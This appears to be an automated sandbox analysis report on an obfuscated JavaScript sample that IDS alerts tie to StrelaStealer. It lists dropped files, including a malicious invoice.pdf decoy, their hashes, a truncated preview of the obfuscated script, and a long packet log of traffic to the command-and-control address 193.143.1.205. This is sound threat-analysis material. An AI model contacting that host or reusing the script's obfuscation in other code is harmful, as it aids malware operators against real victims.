Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\78b887f6-3b73-499f-8034-ebc8c2c7aec5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\c8f04a9c-9137-4d41-a5bb-a5a2aa42acf0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17054), with CRLF line terminators
Entropy (8bit):	4.895562711915175
TrID:
File name:	32279194341766111087.js
File size:	20'460 bytes
MD5:	7ccb5c7b6893e6d2dc1e768459f27075
SHA1:	3998331ea5bb1dbf947828102f2424959e73612d
SHA256:	fc0bc9388cbd9e5027c96493b00822bd833a49108c0cc77ef8a88b2f1c9551a5
SHA512:	c86e53c9dcfebe66ac69cf212962ba06a544cc5a1c4c8c392a2ceacfb0178786bf0c8d4fbe1136cbcae787c3e8ad3e518e5a1d4e9602f6982683effaebffea5b
SSDEEP:	384:Z06lmbEepPFYmrAJpINBRlUBy5++DaeGeSDefr/gO32+UDQh:Z2+INBRlUBy5++DaeGeSDefr/gO32+X
TLSH:	3D921FC0E008D20F98E5A8F4D0EF78CA17D5038DCB9C545EA5939950E489BB786E6DFE
File Content Preview:	function dgepxqmp(){nhzxdra=[1031,3079,5127,4103,2055,3072];var hjmpds=this[tkpmy+pptiduui+zvczebyj+xxuugjjfs+ejjmdm+ynmps+ztyahg+ppuzhurcb](this[vuypp+mslbt+jigxa+zvczebyj+zyeaiy+tkpmy+ppuzhurcb][ayvutl+zvczebyj+ejjmdm+pptiduui+ppuzhurcb+ejjmdm+ioizjdwao

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T07:20:01.334825+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.11	49708	193.143.1.205	80	TCP
2025-01-11T07:20:01.334825+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.11	49708	193.143.1.205	80	TCP
2025-01-11T07:20:04.093898+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.11	49724	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:20:00.516148090 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:00.521094084 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:00.521186113 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:00.524775982 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:00.529599905 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.334713936 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.334759951 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.334798098 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.334825039 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.334858894 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.334892035 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.334945917 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.334975958 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.334983110 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.334992886 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.335019112 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.335056067 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.335059881 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.335097075 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.335167885 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.340219021 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.389703989 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.389727116 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.389743090 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.389787912 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.389837027 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.460268021 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.460287094 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.460309029 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.460320950 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.460335016 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.460350990 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.460397959 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.460423946 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.460437059 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.460469007 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.461232901 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.461247921 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.461261988 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.461280107 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.461302042 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.461802959 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.461817026 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.461829901 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.461846113 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.461852074 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.461859941 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.461884022 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.462724924 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.462742090 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.462757111 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.462790966 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.462829113 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.462985992 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.476402998 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.476474047 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.476485968 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.476492882 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.476505041 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.476545095 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.476602077 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.515083075 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.515141010 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.515183926 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.547132969 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.547169924 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.547230005 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.585474014 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.585495949 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.585513115 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.585526943 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.585551977 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.585583925 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.585660934 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.585675955 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.585691929 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.585715055 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.585730076 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.585769892 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.586198092 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.586213112 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.586227894 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.586251974 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.586288929 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.586330891 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.586350918 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.586862087 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.586877108 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.586894035 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.586906910 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.586910009 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.586921930 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.586927891 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.586937904 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.586961031 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.587723017 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.587738037 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.587758064 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.587765932 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.587769985 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.587784052 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.587800026 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.587810040 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.587841988 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.588516951 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.588531017 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.588546038 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.588566065 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.588593960 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.588649035 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.588660955 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.588675976 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.588718891 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.589363098 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.589406013 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.589409113 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.589425087 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.589451075 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.589462996 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.589474916 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.589492083 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.589519024 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.590322018 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.590348959 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.590362072 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.590367079 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.590379953 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.590394974 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.590398073 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.590409040 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.590481043 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.591079950 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.591114998 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.633964062 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.634017944 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.634154081 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.648036957 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.648077011 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.648114920 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.648144007 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.648175001 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.648219109 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.672157049 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.672171116 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.672216892 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.713684082 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.713752031 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.713813066 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.713824034 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.713871956 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.713918924 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.713963985 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.713983059 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.714031935 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.714035988 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.714072943 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.714113951 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.714128971 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.714158058 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.714185953 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.714517117 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.714571953 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.714607954 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.714621067 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.714659929 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.714694977 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.714730024 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.714745045 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.714766979 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.714780092 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.714819908 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.714855909 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.714903116 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.714906931 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.714943886 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.714961052 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.714978933 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.715020895 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.715028048 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.715054989 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.715085983 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.715178013 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.715218067 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.715256929 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.715267897 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.715310097 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.715379000 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.715429068 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.715446949 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.715482950 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.715514898 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.715523958 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.715560913 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.715589046 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.715810061 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.715845108 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.715882063 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.715897083 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.715929031 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.715965986 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.716001034 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.716037035 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.716048002 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.716077089 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.716129065 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.716152906 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.716165066 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.716202021 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.716207027 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.716242075 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.716279030 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.716288090 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.716705084 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.716739893 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.716768026 CET	49708	80	192.168.2.11	193.143.1.205
Jan 11, 2025 07:20:01.716794968 CET	80	49708	193.143.1.205	192.168.2.11
Jan 11, 2025 07:20:01.716830015 CET	80	49708	193.143.1.205	192.168.2.11
